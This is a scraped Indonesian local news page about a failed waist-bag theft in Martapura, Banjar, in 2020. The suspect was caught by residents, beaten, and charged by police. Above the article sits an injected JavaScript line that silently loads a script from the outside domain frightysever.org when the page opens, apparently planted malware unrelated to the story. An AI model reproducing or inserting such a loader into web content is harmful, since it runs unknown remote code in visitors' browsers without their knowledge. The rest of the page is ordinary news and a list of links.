(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Gagal Curi Tas, JE Jadi Bulan-bulanan Warga


KANALKALIMANTAN.COM, MARTAPURA – Aksi pencurian tas pinggang di rumah warga Desa Cindai Alus RT 08 RW 03, Kecamatan Martapura Kota, Kabupaten Banjar, Rabu (28/10/2020) terungkap. Tidak sampai 24 jam, polisi telah berhasil menangkap pelaku.

Ia tak lain adalah JE (20), seorang pekerja jaga tambak ikan di Desa Cindai Alus. JE dibekuk saat bersembunyi di semak belukar.

Kapolsek Martapura Kota AKP Suroto, melalui Kanit Reskrim Polsek Martapura Kota Iptu B Munthe membenarkan kalau pihaknya telah mengamankan seorang laki-laki yang melakukan pencurian.

Dalam aksinya pelaku beraksi seorang diri, kejadian tersebut terjadi pada pukul 22:15 Wita.

Saat korban sedang berjualan di toko kelontong miliknya bersama anak dan istrinya, yang letaknya persis di depan rumah korban berjarak sekitar 15 meter.

Selanjutnya ia kemudian, karena mau tutup lalu korban masuk ke dalam rumah dan kaget melihat tas miliknya yang diletakkan di ruang tamu sudah tidak ada.

“Saat pelaku berhasil mengambil tas pinggang, kemudian korban melihat keluar di samping rumah ternyata sekilas ada orang berlari, kemudian korban berteriak maling, warga yang mendengar teriakan tersebut langsung mengejar pelaku,” kata Iptu B. Munthe kepada kanalkalimantan.com, Kamis (29/10/2020) malam.

Pelaku berhasil diamankan oleh warga, saat pelaku bersembunyi di semak belukar dekat kuburan samping rumah korban, berjarak 30 meter dari TKP aksi. Namun warga kadung sudah naik pitam, pelaku pun langsung dihajar warga hingga babak belur.

Selain menangkap pelaku, polisi juga mengamankan sejumlah barang bukti, dengan kerugian ditaksir Rp 3 juta.

“Di dalam tas pinggang warna merah milik korban yang gagal digondol pelaku sendiri ada dua unit handpone merk Samsung dan Advan, dan uang tunai Rp 500 ribu,” sebut Munthe.

Munthe juga mengatakan, pelaku adalah pemain baru dan belum pernah ditahan dengan kasus pidana apapun. Saat ini pelaku ditahan di Mapolsek Martapura Kota.

“Atas perbuatanya pelaku dijerat dengan pasal 363 KUHP tentang pencurian dengan pemberatan ancaman hukuman 7 tahun penjara,” tegas Munthe. (Kanalkalimantan.com/wahyu)

 

Reporter: Wahyu
Editor: Cell


Desy Arfianty

Recent Posts

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

13 menit ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

1 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

4 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

12 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

14 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

14 jam ago

This website uses cookies.